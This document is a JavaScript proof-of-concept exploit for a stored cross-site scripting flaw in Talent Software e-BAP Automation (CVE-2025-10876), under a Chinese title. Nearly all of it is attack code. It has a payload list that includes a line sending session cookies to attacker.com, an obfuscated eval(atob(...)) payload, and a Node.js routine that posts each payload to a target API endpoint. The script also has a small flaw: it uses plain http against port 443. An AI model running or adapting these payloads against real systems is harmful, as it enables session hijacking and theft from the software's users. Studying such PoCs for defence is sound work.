CVE-2025-10876 Talent Software e-BAP Automation跨站脚本漏洞

// CVE-2025-10876 XSS PoC for Talent Software e-BAP Automation // Target: e-BAP Automation versions before v.41815 // Payload: Stored XSS via unsanitized input field const http = require('http'); // Configuration const targetHost = 'target-server.com'; const targetPort = 443; const targetPath = '/e-bap/api/submit'; // Typical API endpoint // Malicious XSS payloads const payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>', '<svg onload=eval(atob("YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=="))>', '<iframe src="javascript:alert(document.domain)">' ]; function sendExploit(payload) { const postData = JSON.stringify({ 'field_name': payload, // Unsanitized input field 'form_id': 'user_input_form', 'submit': 'Save' }); const options = { hostname: targetHost, port: targetPort, path: targetPath, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData), 'User-Agent': 'Mozilla/5.0 (XSS-Test)' } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); console.log(`Payload sent: ${payload}`); }); req.write(postData); req.end(); } // Send each payload payloads.forEach((payload, index) => { setTimeout(() => sendExploit(payload), index * 1000); }); console.log('CVE-2025-10876 PoC - XSS Exploitation Script'); console.log('Target: Talent Software e-BAP Automation'); console.log('Vulnerability: Improper Input Neutralization (XSS)');